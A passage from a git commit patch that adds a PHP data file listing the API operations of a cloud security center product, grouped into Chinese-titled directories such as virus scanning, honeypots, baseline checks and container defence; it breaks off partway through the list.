From 7347bac4ab7e136157fc94777e6cf87ef9e08599 Mon Sep 17 00:00:00 2001 From: Zhineng Li Date: Fri, 13 Feb 2026 10:54:11 +0800 Subject: first commit --- data/zh_cn/sas/2018-12-03/api-docs.php | 162113 ++++++++++++++++++++++++++++++ 1 file changed, 162113 insertions(+) create mode 100644 data/zh_cn/sas/2018-12-03/api-docs.php (limited to 'data/zh_cn/sas/2018-12-03/api-docs.php') diff --git a/data/zh_cn/sas/2018-12-03/api-docs.php b/data/zh_cn/sas/2018-12-03/api-docs.php new file mode 100644 index 0000000..5a22396 --- /dev/null +++ b/data/zh_cn/sas/2018-12-03/api-docs.php @@ -0,0 +1,162113 @@ + '1.0', + 'info' => [ + 'style' => 'RPC', + 'product' => 'Sas', + 'version' => '2018-12-03', + ], + 'directories' => [ + [ + 'id' => 202600, + 'title' => '自定义客户端升级', + 'type' => 'directory', + 'children' => [ + 'ListPublishBatch', + 'AddPublishBatch', + 'UpdatePublishBatch', + 'GetPublishCron', + 'UpdatePublishGraySwitch', + 'UpdatePublishCron', + 'UpgradeVersionByUuids', + 'UpdatePublishAutoUpgrade', + ], + ], + [ + 'id' => 202595, + 'title' => '代理接入', + 'type' => 'directory', + 'children' => [ + 'UpdateHybridProxy', + 'ModifyHybridProxyCluster', + 'ModifyHybridProxyPolicy', + 'UnBindHybridProxy', + 'DescribeHybridProxyPolicy', + 'DescribeHybridProxyList', + 'DescribeHybridProxyClusterList', + 'DescribeHybridProxyLinkedClientList', + 'DeleteHybridProxyCluster', + 'DeleteHybridProxy', + 'CreateHybridProxyCluster', + 'BindHybridProxy', + 'DescribeDefaultProxyInstallVersion', + 'InstallHybridProxy', + ], + ], + [ + 'id' => 194878, + 'title' => '安全报告', + 'type' => 'directory', + 'children' => [ + 'DescribeCustomizeReportList', + 'DescribeReportExport', + 'CopyCustomizeReportConfig', + 'DescribeChartList', + 'DescribeReportRecipientStatus', + ], + ], + [ + 'id' => 194606, + 'title' => '应用白名单', + 'type' => 'directory', + 'children' => [ + 'ModifyProcessWhiteList', + 'UpdateWhiteListStrategyStatus', + 'SaveWhiteListStrategyAssets', + 'SaveWhiteListStrategy', + 'DescribeWhiteListStrategyUuidCount', + 'DescribeWhiteListStrategyStatistics', + 'DescribeWhiteListStrategyList', + 'DescribeWhiteListProcess', + 'DescribeWhiteListEffectiveAssets', + 'DescribeWhiteListAuthorize', + 'DescribeWhiteListAsset', + ], + ], + [ + 'id' => 186072, + 'title' => '无代理检测', + 'type' => 'directory', + 'children' => [ + 'DeleteMaliciousFileWhitelistConfig', + 'BatchDeleteMaliciousFileWhitelistConfig', + 'UpdateMaliciousFileWhitelistConfig', + 'BatchUpdateMaliciousFileWhitelistConfig', + 'CreateMaliciousFileWhitelistConfig', + 'GetMaliciousFileWhitelistConfig', + 'ListMaliciousFileWhitelistConfigs', + 'CreateAgentlessScanTask', + 'DeleteMaliciousNote', + 'CreateMaliciousNote', + 'ListAgentlessMaliciousFiles', + 'RetryAgentlessTask', + 'ListAgentlessRelateMalicious', + 'ListAgentlessRegion', + 'ListAgentlessTask', + 'GetAgentlessTaskCount', + 'ListAgentlessRiskUuid', + ], + ], + [ + 'id' => 186028, + 'title' => '核心文件监控', + 'type' => 'directory', + 'children' => [ + 'ListFileProtectPluginStatus', + 'UpdateFileProtectEventStatus', + 'GetFileProtectDashboard', + 'ListFileProtectEvent', + 'DeleteFileProtectRule', + 'GetFileProtectEventCount', + 'UpdateFileProtectRemark', + 'GetFileProtectEvent', + 'UpdateFileProtectRule', + 'ListFileProtectRule', + 'CreateFileProtectRule', + 'GetFileProtectRule', + ], + ], + [ + 'id' => 186041, + 'title' => '告警设置', + 'type' => 'directory', + 'children' => [ + 'ListClientAlertMode', + 'UpdateClientAlertMode', + ], + ], + [ + 'id' => 185708, + 'title' => '容器主动防御', + 'type' => 'directory', + 'children' => [ + [ + 'id' => 187412, + 'title' => '非镜像程序防御', + 'type' => 'directory', + 'children' => [ + 'ListContainerDefenseRuleClusters', + 'ListContainerDefenseRule', + 'GetContainerDefenseRuleDetail', + 'ModifyContainerDefenseRule', + 'ModifyContainerDefenseRuleSwitch', + 'DeleteContainerDefenseRule', + 'AddContainerDefenseRule', + ], + ], + [ + 'id' => 187413, + 'title' => '风险镜像阻断', + 'type' => 'directory', + 'children' => [ + 'ListOpaClusterStrategyNew', + 'CreateOpaStrategyNew', + 'GetOpaStrategyDetailNew', + 'UpdateOpaStrategyNew', + 'DeleteOpaStrategyNew', + 'GetOpaStrategyTemplateSummary', + 'CreateOpaClusterPlugin', + 'GetOpaPluginStatus', + 'GetOpaClusterLabelList', + 'GetStrategyTemplateDetail', + 'ListCriteriaStrategy', + 'GetOpaClusterImageList', + 'GetOpaClusterNamespaceList', + 'GetOpaClusterBaseLineList', + 'ListImageBuildRiskItem', + 'DescribeMatchedMaliciousNames', + ], + ], + [ + 'id' => 195248, + 'title' => '容器防逃逸', + 'type' => 'directory', + 'children' => [ + 'ListAegisContainerPluginRule', + ], + ], + ], + ], + [ + 'id' => 195249, + 'title' => '容器文件防御', + 'type' => 'directory', + 'children' => [ + 'ListSasContainerWebDefenseRule', + 'GetSasContainerWebDefenseRule', + 'OperateSwitchStatus', + 'AddSasContainerWebDefenseRule', + 'ModifySasContainerWebDefenseRule', + 'GetSasContainerWebDefenseRuleApplication', + ], + ], + [ + 'id' => 177731, + 'title' => '容器微隔离', + 'type' => 'directory', + 'children' => [ + 'ModifyClusterCnnfStatusUserConfirm', + 'GetInterceptionSummary', + 'ListInterceptionTargetPage', + 'ListRuleTargetAll', + 'SetClusterInterceptionConfig', + 'ModifyInterceptionTarget', + 'ListClusterInterceptionConfig', + 'ListClusterCnnfStatusDetail', + 'ModifyInterceptionRule', + 'ModifyInterceptionRuleSwitch', + ], + ], + [ + 'id' => 68078, + 'title' => 'Agent客户端', + 'type' => 'directory', + 'children' => [ + 'GetClientRatioStatistic', + 'ModifyClientConfStrategy', + 'DescribeClientConfStrategy', + 'ModifyClientConfSetup', + 'DescribeClientConfSetup', + 'DescribeInstallCode', + 'DeleteInstallCode', + 'ListPluginForUuid', + 'AddInstallCode', + 'OperateAgentClientInstall', + 'PauseClient', + 'UnbindAegis', + 'DescribeAgentInstallStatus', + 'DescribeVendorList', + 'DescribeInstallCaptcha', + 'SasInstallCode', + 'DescribeInstallCodes', + 'ListUninstallAegisMachines', + 'DescribeClientProblemType', + ], + ], + [ + 'id' => 168832, + 'title' => '资产管理', + 'type' => 'directory', + 'children' => [ + 'DeleteSearchCondition', + 'StartIdcProbeScan', + 'ModifySearchCondition', + 'GetAssetDetailByUuid', + 'DescribeGroupStruct', + 'ListCloudAssetInstances', + 'DescribeImageInfoList', + 'DescribeLogShipperStatus', + 'AddUninstallClientsByUuids', + 'AddTagWithUuid', + 'GetCloudAssetSummary', + 'GetCloudAssetDetail', + 'ModifyAssetImportant', + 'ModifyGroupProperty', + 'DescribeOfflineMachines', + 'CheckUserHasEcs', + 'CreateOrUpdateAssetGroup', + 'RefreshAssets', + 'DeleteGroup', + 'DeleteTagWithUuid', + 'DeleteLoginBaseConfig', + 'ModifyTagWithUuid', + 'ModifyLoginSwitchConfig', + 'ModifyLoginBaseConfig', + 'ModifyPushAllTask', + 'DescribeAssetDetailByUuid', + 'DescribeGroupedInstances', + 'QueryGroupIdByGroupName', + 'DescribeAssetSummary', + 'DescribeAllEntity', + 'DescribeFieldStatistics', + 'DescribeGroupedTags', + 'DescribeAllGroups', + 'DescribeInstanceStatistics', + 'DescribeCloudProductFieldStatistics', + 'DescribeDomainCount', + 'DescribeDomainList', + 'DescribeDomainDetail', + 'DescribeCloudCenterInstances', + 'DescribeSummaryInfo', + 'DescribeSearchCondition', + 'DescribeCriteria', + 'DescribeVpcList', + 'DescribeAssetDetailByUuids', + 'DescribeImageStatistics', + 'DescribeContainerStatistics', + 'ModifyAssetGroup', + 'InstallCloudMonitor', + 'DescribeSasPmAgentList', + 'ListAssetCleanConfig', + 'ModifyAssetCleanConfig', + 'ListAssetRefreshTaskConfig', + 'ChangeAssetRefreshTaskConfig', + 'ListCloudVendorRegions', + 'AddCloudVendorAccountAK', + 'DeleteCloudVendorAccountAK', + 'DescribeCloudVendorAccountAKList', + 'DescribeCloudVendorTrialConfig', + 'ModifyCloudVendorTrialConfig', + 'ModifyCloudVendorAccountAK', + 'AddCloudVendorTrialConfig', + 'GetLocalDefaultRegion', + 'SetSyncRefreshRegion', + 'GetSupportedModules', + ], + ], + [ + 'id' => 168833, + 'title' => '资产指纹', + 'type' => 'directory', + 'children' => [ + 'DescribeAssetsScaProcessNum', + 'DescribePropertyUsageTop', + 'DescribePropertyScaProcessDetail', + 'GetPropertyScheduleConfig', + 'GetAssetsPropertyItem', + 'GetAssetsPropertyDetail', + 'DescribePropertyTypeScaItem', + 'DescribePropertyCronItem', + 'DescribePropertyScaItem', + 'DescribePropertyCronDetail', + 'DescribePropertyCount', + 'DescribePropertyPortDetail', + 'DescribePropertyProcDetail', + 'DescribePropertyPortItem', + 'DescribePropertyProcItem', + 'DescribePropertySoftwareDetail', + 'DescribePropertySoftwareItem', + 'DescribePropertyUserDetail', + 'DescribePropertyUserItem', + 'DescribeModuleConfig', + 'DescribePropertyScaDetail', + 'ModifyPropertyScheduleConfig', + 'DescribePropertyScheduleConfig', + ], + ], + [ + 'id' => 168834, + 'title' => '安全评分', + 'type' => 'directory', + 'children' => [ + 'GetSecurityScoreRule', + 'ChangeSecurityScoreRule', + 'DescribeSecureSuggestion', + ], + ], + [ + 'id' => 168835, + 'title' => '暴露资产', + 'type' => 'directory', + 'children' => [ + 'DescribeExposedInstanceCriteria', + 'DescribeExposedInstanceDetail', + 'DescribeExposedInstanceList', + 'DescribeExposedStatistics', + 'DescribeExposedStatisticsDetail', + ], + ], + [ + 'id' => 168836, + 'title' => '容器管理', + 'type' => 'directory', + 'children' => [ + 'ListUuidsByAppId', + 'ListMachineApps', + 'DescribeContainerTags', + 'DescribeAssetsSecurityEventSummary', + 'DescribeImage', + 'DescribeClusterInfoList', + 'DescribeContainerCriteria', + 'DescribeContainerInstances', + 'DescribeImageCriteria', + 'DescribeImageInstances', + 'DescribeImageRepoDetailList', + 'DescribeImageRepoCriteria', + 'GetClusterSuspEventStatistics', + 'GetClusterCheckItemWarningStatistics', + 'DescribeGroupedContainerInstances', + 'RefreshContainerAssets', + ], + ], + [ + 'id' => 177308, + 'title' => '容器可视化', + 'type' => 'directory', + 'children' => [ + 'DescribeClusterNetwork', + 'FindContainerNetworkConnect', + ], + ], + [ + 'id' => 168837, + 'title' => '镜像安全扫描', + 'type' => 'directory', + 'children' => [ + 'UpdateWhiteList', + 'GetRegistryScanDayNum', + 'GetDockerhubImageRiskStatistic', + 'ListImageRegistryExtra', + 'RefreshRegistryToken', + 'SetBuildRiskDefineRuleConfig', + 'GetBuildRiskDefineRuleConfig', + 'ListPrivateRegistryType', + 'ListPrivateRegistryList', + 'DescribeCountNotScannedImage', + 'GetImageScanNumInPeriod', + 'SetRegistryScanDayNum', + 'SaveImageBaselineStrategy', + 'OperateImageBaselineWhitelist', + 'DescribeImageBaselineStrategy', + 'DescribeImageBaselineItemList', + 'DescribeImageBaselineDetail', + 'DescribeImageBaselineCheckResult', + 'DescribeAllImageBaseline', + 'DescribeImageListBySensitiveFile', + 'OpenSensitiveFileScan', + 'DescribeImageSensitiveFileList', + 'DescribeImageSensitiveFileByKey', + 'DescribeAffectedMaliciousFileImages', + 'DescribeGroupedMaliciousFiles', + 'DescribeImageVulList', + 'DescribeImageGroupedVulList', + 'DescribeImageListWithBaselineName', + 'DescribeImageFixTask', + 'DescribeImageScanAuthCount', + 'DescribeImageBaselineCheckSummary', + 'PublicPreCheckImageScanTask', + 'PublicCreateImageScanTask', + 'PublicSyncAndCreateImageScanTask', + 'DescribeCountScannedImage', + ], + ], + [ + 'id' => 168838, + 'title' => '云平台配置检查', + 'type' => 'directory', + 'children' => [ + 'CreateCheckPolicy', + 'CreateCheckItem', + 'DeleteCheckItem', + 'ListCheckItems', + 'UpdateCheckPolicy', + 'GetCheckSale', + 'ModifyCheckRule', + 'VerifyCheckInstanceResult', + 'VerifyCheckResult', + 'GetCloudAssetCriteria', + 'RemoveCheckResultWhiteList', + 'AddCheckResultWhiteList', + 'RemoveCheckInstanceResultWhiteList', + 'AddCheckInstanceResultWhiteList', + 'GetCheckSummary', + 'ListInstanceCatalog', + 'GetCheckProcess', + 'SubmitCheck', + 'ChangeCheckConfig', + 'GetCheckConfig', + 'GetCheckDetail', + 'GetCheckCountStatistic', + 'GetCheckTimeDimensionStatistic', + 'ListCheckInstanceResult', + 'ListCheckResult', + 'ListCheckStandard', + 'ListCheckItem', + 'StartBaselineSecurityCheck', + 'ModifySecurityCheckScheduleConfig', + 'DescribeRiskItemType', + 'DescribeRiskCheckSummary', + 'DescribeRiskCheckResult', + 'DescribeSecurityCheckScheduleConfig', + 'DescribeRiskCheckItemResult', + 'DescribeRiskListCheckResult', + 'ListCheckRule', + 'ListCheckRuleInstance', + 'ListOperationCheck', + 'ListOperationTask', + 'VerifyCheckCustomConfig', + 'ChangeCheckCustomConfig', + 'ListCheckPolicies', + 'UpdateCheckItem', + 'DeleteCheckPolicy', + ], + ], + [ + 'id' => 168839, + 'title' => '防勒索', + 'type' => 'directory', + 'children' => [ + 'DeleteBackupSnapshot', + 'CreateRestoreJob', + 'UninstallUniBackupAgent', + 'StartPreCheckDatabase', + 'StartDiscoverDatabaseTask', + 'QueryPreCheckDatabase', + 'QueryDiscoverDatabase', + 'ModifyUniBackupPolicy', + 'InstallUniBackupAgent', + 'DescribeUniSupportRegion', + 'DescribeUniRecoverableList', + 'DescribeUniBackupPolicyDetail', + 'DescribeUniBackupPolicies', + 'DescribeUniBackupDatabase', + 'DescribeRestorePlans', + 'DeleteUniBackupPolicy', + 'CreateUniRestorePlan', + 'CreateUniBackupPolicy', + 'DescribeSnapshots', + 'DescribeBackupMachineStatus', + 'UpgradeBackupPolicyVersion', + 'DescribeExcludeSystemPath', + 'DescribeBackupPolicy', + 'CreateBackupPolicy', + 'InstallBackupClient', + 'GetBackupStorageCount', + 'DescribeBackupClients', + 'DescribeBackupPolicies', + 'DescribeBackupFiles', + 'DescribeSupportRegion', + 'DescribeUserBackupMachines', + 'DescribeRestoreJobs', + 'DescribeBackupRestoreCount', + 'ModifyBackupPolicyStatus', + 'ModifyBackupPolicy', + 'DeleteBackupPolicyMachine', + 'DeleteBackupPolicy', + 'UninstallBackupClient', + ], + ], + [ + 'id' => 168840, + 'title' => '网页防篡改', + 'type' => 'directory', + 'children' => [ + 'DescribeWebLockStatus', + 'DescribeWebLockFileEvents', + 'ModifyWebLockDeleteConfig', + 'ModifyWebLockCreateConfig', + 'ModifyWebLockUpdateConfig', + 'ModifyWebLockStart', + 'DescribeWebLockConfigList', + 'DescribeWebLockBindList', + 'ModifyWebLockStatus', + 'ModifyWebLockUnbind', + 'OperateWebLockFileEvents', + 'ModifyWebLockProcessStatus', + 'JoinWebLockProcessWhiteList', + 'DescribeWebLockTotalFileChangeCount', + 'DescribeWebLockProcessList', + 'DescribeWebLockProcessBlockStatistics', + 'DescribeWebLockInclusiveFileType', + 'DescribeWebLockFileTypeSummary', + 'DescribeWebLockFileChangeStatistics', + 'DescribeWebLockExclusiveFileType', + ], + ], + [ + 'id' => 168842, + 'title' => '病毒查杀', + 'type' => 'directory', + 'children' => [ + 'DescribeSuspiciousUUIDConfig', + 'StartVirusScanTask', + 'DescribeLatestScanTask', + 'CreateVirusScanOnceTask', + 'ListVirusScanMachine', + 'GetVirusScanLatestTaskStatistic', + 'ListVirusScanMachineEvent', + 'ListVirusScanTask', + 'GetVirusScanConfig', + 'DescribeScanTaskProgress', + 'OperateSuspiciousTargetConfig', + 'OperateVirusEvents', + ], + ], + [ + 'id' => 168843, + 'title' => '安全告警', + 'type' => 'directory', + 'children' => [ + 'DescribeGraph4InvestigationOnline', + 'DescribeSecurityEventMarkMissList', + 'DeleteSecurityEventMarkMissList', + 'ExportSuspEvents', + 'DeleteSuspEventNode', + 'AdvanceSecurityEventOperations', + 'DescribeBackUpExportInfo', + 'DescribeLoginSwitchConfigs', + 'DescribeWebPath', + 'ListUuidsByWebPath', + 'ModifyWebPath', + 'GetAlarmMachineCount', + 'DescribeSuspEventExportInfo', + 'DescribeNsasSuspEventType', + 'DescribeAlarmEventStackInfo', + 'HandleMaliciousFiles', + 'DescribeStrictEventName', + 'UpdateStrictEventName', + 'CreateSuspEventNote', + 'QueryGroupedSecurityEventMarkMissList', + 'OperationCancelIgnoreSuspEvent', + 'CreateSimilarSecurityEventsQueryTask', + 'DescribeAlarmEventDetail', + 'DescribeSuspEvents', + 'DescribeSuspEventDetail', + 'DescribeSecurityEventOperations', + 'DescribeSimilarSecurityEvents', + 'DescribeSuspEventQuaraFiles', + 'DescribeSecurityEventOperationStatus', + 'DescribeSimilarEventScenarios', + 'DescribeSecurityStatInfo', + 'DescribeLoginBaseConfigs', + 'GetSuspiciousStatistics', + 'CheckSecurityEventId', + 'DescribeAttackAnalysisData', + 'HandleSimilarSecurityEvents', + 'RollbackSuspEventQuaraFile', + 'HandleSecurityEvents', + 'OperationSuspEvents', + ], + ], + [ + 'id' => 168844, + 'title' => '防暴力破解', + 'type' => 'directory', + 'children' => [ + 'ModifyCustomBlockRecord', + 'EnableCustomBlockRecord', + 'EnableBruteForceRecord', + 'DisableBruteForceRecord', + 'DisableCustomBlockRecord', + 'DescribeBruteForceRecords', + 'DeleteCustomBlockRecord', + 'CreateCustomBlockRecord', + 'CreateAntiBruteForceRule', + 'ModifyAntiBruteForceRule', + 'ModifyInstanceAntiBruteForceRule', + 'DescribeBruteForceSummary', + 'DescribeInstanceAntiBruteForceRules', + 'DescribeAntiBruteForceRules', + 'DeleteAntiBruteForceRule', + ], + ], + [ + 'id' => 168845, + 'title' => '漏洞修复', + 'type' => 'directory', + 'children' => [ + 'ListVulGlobalConfig', + 'ModifyRefreshProcessInfo', + 'OperateImageVul', + 'ModifyVulTarget', + 'ModifyVulConfig', + 'ModifyConcernNecessity', + 'ModifyAutoDelConfig', + 'ModifyAppVulScanCycle', + 'DescribeVulTargetStatistics', + 'DescribeVulTargetConfig', + 'DescribeVulNumStatistics', + 'DescribeVulListPage', + 'DescribeVulCheckTaskStatusDetail', + 'DescribeTaskErrorLog', + 'DescribeTarget', + 'DescribeMachineCanReboot', + 'DescribeEmgUserAgreement', + 'DescribeClusterVulStatistics', + 'DescribeAppVulScanCycle', + 'DescribeVulConfig', + 'DescribeVulFixStatistics', + 'DescribeUuidsByVulNames', + 'ListVulAutoRepairConfig', + 'CreateVulAutoRepairConfig', + 'DescribeInstanceRebootStatus', + 'RebootMachine', + 'ModifyVulTargetConfig', + 'ModifyStartVulScan', + 'ModifyEmgVulSubmit', + 'ModifyCreateVulWhitelist', + 'GetVulWhitelist', + 'DeleteVulWhitelist', + 'ModifyOperateVul', + 'DescribeVulList', + 'DescribeEmgVulItem', + 'DescribeGroupedVul', + 'DescribeAutoDelConfig', + 'DescribeConcernNecessity', + 'DescribeVulDetails', + 'DescribeVulWhitelist', + 'ExportVul', + 'DescribeVulExportInfo', + 'OperateVuls', + 'GetVulStatistics', + 'ModifyVulWhitelistTarget', + 'DescribeFrontVulPatchList', + ], + ], + [ + 'id' => 168846, + 'title' => '基线检查', + 'type' => 'directory', + 'children' => [ + 'ListBaselineCheckWhiteRecord', + 'ListCheckItemWarningSummary', + 'ListCheckItemWarningMachine', + 'DescribeWarningExportInfo', + 'DescribeHcExportInfo', + 'DescribeRisks', + 'DescribeCheckWarningMachines', + 'DescribeCheckFixDetails', + 'IgnoreCheckItems', + 'DescribeExposedCheckWarning', + 'GetCheckRiskStatistics', + 'ModifyStrategy', + 'ModifyStrategyTarget', + 'DescribeCheckWarningSummary', + 'DescribeRiskType', + 'DescribeCheckWarnings', + 'DescribeCheckWarningDetail', + 'DescribeWarningMachines', + 'DescribeStrategyExecDetail', + 'DescribeCheckEcsWarnings', + 'DescribeUserBaselineAuthorization', + 'DescribeStrategyDetail', + 'ExportWarning', + 'DescribeStrategy', + 'DescribeStrategyTarget', + 'DeleteStrategy', + 'ValidateHcWarnings', + 'FixCheckWarnings', + 'AddBaselineCheckWhiteRecord', + 'IgnoreHcCheckWarnings', + 'DescribeCustomizedStrategyTargets', + 'ListCheckTypes', + 'CreateDynamicDict', + 'UpdateBaselineCheckWhiteRecord', + 'DeleteCustomizedDict', + 'DescribeDefaultKeyInfo', + 'CreateUserSetting', + 'ExecStrategy', + 'DeleteBaselineCheckWhiteRecord', + ], + ], + [ + 'id' => 168847, + 'title' => 'AK泄露检测', + 'type' => 'directory', + 'children' => [ + 'ModifyAccessKeyLeakDeal', + 'DescribeAccesskeyLeakList', + 'DescribeAccessKeyLeakDetail', + ], + ], + [ + 'id' => 168848, + 'title' => '蜜罐', + 'type' => 'directory', + 'children' => [ + 'DeleteHoneypotProbeBind', + 'GetHoneypotAttackStatistics', + 'GetHoneypotStatistics', + 'ListAvailableHoneypot', + 'CreateHoneypotNode', + 'UpdateHoneypotNode', + 'ListHoneypotNode', + 'DeleteHoneypotNode', + 'GetHoneypotNode', + 'CreateHoneypot', + 'UpdateHoneypot', + 'DeleteHoneypot', + 'ListHoneypot', + 'CreateHoneypotPreset', + 'UpdateHoneypotPreset', + 'GetHoneypotPreset', + 'ListHoneypotPreset', + 'CreateHoneypotProbe', + 'DeleteHoneypotProbe', + 'UpdateHoneypotProbe', + 'ListHoneypotProbe', + 'GetHoneypotProbe', + 'ListHoneypotAlarmEvents', + 'DeleteHoneypotPreset', + 'AddVpcHoneyPot', + 'DeleteVpcHoneyPot', + 'ModifyVpcHoneyPot', + 'DescribeHoneyPotAuth', + 'DescribeHoneyPotSuspStatistics', + 'DescribeVpcHoneyPotCriteria', + 'DescribeVpcHoneyPotList', + ], + ], + [ + 'id' => 168849, + 'title' => '日志分析', + 'type' => 'directory', + 'children' => [ + 'GetLogMeta', + 'GetUserLang', + 'ChangeUserLang', + 'ModifyLogMetaStatus', + 'DescribeLogMeta', + 'ModifyOpenLogShipper', + 'DescribeLogstoreStorage', + 'ModifyClearLogstoreStorage', + ], + ], + [ + 'id' => 168850, + 'title' => '通知', + 'type' => 'directory', + 'children' => [ + 'DingTalkOnlineTest', + 'DeleteDingTalk', + 'ModifyDingTalkStatus', + 'CreateOrUpdateDingTalk', + 'ModifyNoticeConfig', + 'DescribeDingTalk', + 'DescribeNoticeConfig', + 'DescribeDataSource', + ], + ], + [ + 'id' => 169922, + 'title' => '功能设置', + 'type' => 'directory', + 'children' => [ + 'CreateOrUpdateAutoTagRule', + 'ListAutoTagRules', + 'DeleteAutoTagRules', + 'IgnoreIdcProbeScanResult', + 'AddIdcProbe', + 'DeleteIdcProbe', + 'ModifyIdcProbe', + 'DescribeCommonOverallConfigList', + 'DescribeCommonTargetConfig', + 'BatchOperateCommonOverallConfig', + 'DescribeCommonTargetResultList', + 'OperateSuspiciousOverallConfig', + 'OperateCommonOverallConfig', + 'DescribeCommonOverallConfig', + 'OperateCommonTargetConfig', + 'DescribeSuspiciousOverallConfig', + ], + ], + [ + 'id' => 168851, + 'title' => '导出检测结果', + 'type' => 'directory', + 'children' => [ + 'DescribeExportInfo', + 'ExportRecord', + ], + ], + [ + 'id' => 168852, + 'title' => '服务关联角色', + 'type' => 'directory', + 'children' => [ + 'CreateServiceLinkedRole', + 'DescribeServiceLinkedRoleStatus', + ], + ], + [ + 'id' => 168853, + 'title' => '恶意文件检测SDK', + 'type' => 'directory', + 'children' => [ + 'GetFileDetectApiInvokeInfo', + 'CreateFileDetectUploadUrl', + 'CreateFileDetect', + 'GetFileDetectResult', + 'ListCompressFileDetectResult', + ], + ], + [ + 'id' => 187060, + 'title' => '恶意文件检测OSS', + 'type' => 'directory', + 'children' => [ + 'DeleteOssScanConfig', + 'ListOssScanConfig', + 'CreateOssBucketScanTask', + 'GetObjectScanEvent', + 'ListObjectScanEvent', + 'OperateBucketScanTask', + 'GetOssBucketScanStatistic', + 'ListOssBucketScanInfo', + 'UpdateOssScanConfig', + 'ListOssBucket', + 'CreateOssScanConfig', + 'ListSupportObjectSuffix', + 'RefreshOssBucketScanInfo', + 'GetOssScanConfig', + ], + ], + [ + 'id' => 177312, + 'title' => '任务管理', + 'type' => 'directory', + 'children' => [ + 'CreateCycleTask', + 'GenerateOnceTask', + 'DeleteCycleTask', + 'ModifyCycleTask', + 'CancelOnceTask', + 'DescribeOnceTask', + 'DescribeCycleTaskList', + 'GetOnceTaskResultInfo', + 'GetLastOnceTaskInfo', + 'DescribeOnceTaskLeafRecordPage', + ], + ], + [ + 'id' => 177317, + 'title' => '恶意行为防御', + 'type' => 'directory', + 'children' => [ + 'ListSystemRuleAggregationTypes', + 'ListClientUserDefineRules', + 'ListSystemClientRuleTypes', + 'ListSystemClientRules', + 'ListSystemAggregationRules', + 'ModifyClientUserDefineRule', + 'ListClientUserDefineRuleTypes', + 'GetRulesCount', + 'GetClientUserDefineRule', + 'DeleteClientUserDefineRule', + 'AddClientUserDefineRule', + ], + ], + [ + 'id' => 182250, + 'title' => '资产选择', + 'type' => 'directory', + 'children' => [ + 'UpdateSelectionKeyByType', + 'CreateAssetSelectionConfig', + 'ListAssetSelectionSelectedTarget', + 'ListAssetSelectionTarget', + 'GetAssetSelectionConfig', + 'AddAssetSelectionCriteria', + ], + ], + [ + 'id' => 194452, + 'title' => '任务中心', + 'type' => 'directory', + 'children' => [ + 'CreateSoarStrategyTask', + 'DeleteSoarStrategyTask', + 'DescribeSoarStrategies', + 'DescribeSoarStrategyParam', + 'DescribeSoarStrategyTaskDetail', + 'DescribeSoarStrategyTasks', + 'ModifySoarStrategySubscribe', + 'DescribeSoarSubscribedStrategy', + 'DescribeSyncAssetTaskList', + 'DescribeSyncAssetTaskLogDetail', + 'DescribeSoarPlaybookTaskDetail', + 'DescribeSoarStrategyTaskParams', + 'ProcessSoarStrategyTask', + 'DescribeSoarStrategyTaskResult', + ], + ], + [ + 'id' => 195607, + 'title' => '网站安全', + 'type' => 'directory', + 'children' => [ + 'DescribeDomainSecureVulList', + 'DescribeDomainSecureRiskList', + 'DescribeDomainSecureAlarmList', + 'DescribeDomainSecureStatistics', + 'DescribeDomainSecureScore', + ], + ], + [ + 'id' => 195628, + 'title' => '攻击分析', + 'type' => 'directory', + 'children' => [ + 'GetAttackTypeList', + ], + ], + [ + 'id' => 371452, + 'title' => '售卖', + 'type' => 'directory', + 'children' => [ + 'GetAuthSummary', + 'GetServerlessAuthSummary', + 'GetServerlessAppAuthDetail', + 'DescribeVersionConfig', + 'ModifyPostPayModuleSwitch', + 'UpdatePostPaidBindRel', + 'BindAuthToMachine', + ], + ], + [ + 'id' => 168854, + 'title' => '其他', + 'type' => 'directory', + 'children' => [ + 'GetModuleConfigStatus', + 'FinishGuidTask', + 'DescribeVolDingdingMessage', + 'DescribeAllRegionsStatistics', + 'InstallPmAgent', + 'GetModuleConfig', + 'DescribeClusterBasicInfo', + 'DescribeQuaraFileDownloadInfo', + 'DescribeAffectedAssets', + 'DescribeEventOnStage', + 'DescribeScanTaskStatistics', + 'DescribeSuspEventUserSetting', + 'DescribeTraceInfoNode', + 'DescribeTraceInfoDetail', + 'DescribeEventLevelCount', + 'SaveSuspEventUserSetting', + 'ConfirmVirusEvents', + 'ModifySecurityEventMarkMissIndividually', + 'CreateContainerScanTask', + 'DescribeTotalStatistics', + 'DescribeImageLatestScanTask', + 'DescribeImageRepoList', + 'CreateJenkinsImageRegistry', + 'PageImageRegistry', + 'QueryJenkinsImageRegistryPersistenceDay', + 'UpdateJenkinsImageRegistryName', + 'UpdateJenkinsImageRegistryPersistenceDay', + 'GetInterceptionTargetDetail', + 'DeleteInterceptionRule', + 'DeleteInterceptionTarget', + 'DescribeCustomBlockRecords', + 'ListInterceptionRulePage', + 'ListInterceptionHistory', + 'CreateInterceptionRule', + 'CreateInterceptionTarget', + 'GetInterceptionRuleDetail', + 'ListImageRegistryRegion', + 'GetAppNetwork', + 'AddPrivateRegistry', + 'DeletePrivateRegistry', + 'GetClusterRuleSummary', + 'ListPodRisk', + 'ListImageRisk', + 'DeleteServiceTrail', + 'GetServiceTrail', + 'CreateServiceTrail', + 'DeleteBinarySecurityPolicy', + 'DescribeMonitorAccounts', + 'AddImageVulWhiteList', + 'DescribeImageVulWhiteList', + 'QueryAttackCount', + 'GetSwitchRegionDetail', + 'GetAuthVersionStatistic', + 'UpdateImageVulWhitelistTarget', + 'DeleteImageVulWhitelist', + 'DescribeContainerScanConfig', + 'ModifyContainerScanConfig', + 'DescribeCanFixVulList', + 'ModifyImageFixCycleConfig', + 'DescribeImageFixCycleConfig', + 'CreateContainerScanTaskByAppName', + 'GetCommonSwitchConfig', + 'CreateHoneypotProbeBind', + 'ListHoneypotProbeUuid', + 'StopHoneypot', + 'UpdateHoneypotProbeBind', + 'ListHoneypotEvents', + 'UpdateAlarmEvent', + 'RetryInstallProbe', + 'ListHoneypotAttackerPortrait', + 'GetHoneypotEventTrend', + 'ListHoneypotAttackerSource', + 'UpdateCommonSwitchConfig', + 'CreateFileUploadLimit', + 'GetFileUploadLimit', + 'UpdateFileUploadLimit', + 'GetFileDetectReport', + 'DescribeImageEventOperationPage', + 'GetImageEventOperation', + 'DescribeImageEventOperationCondition', + 'UpdateImageEventOperation', + 'DeleteImageEventOperation', + 'SetSensitiveDefineRuleConfig', + 'SetImageSensitiveFileStatus', + 'AddImageEventOperation', + 'GetSensitiveDefineRuleConfig', + 'GetHoneypotNodeMetricList', + 'GetAegisContainerPluginRuleCriteria', + 'OperateApplication', + 'GetSasContainerWebDefenseRuleCriteria', + 'DescribeContainerApps', + 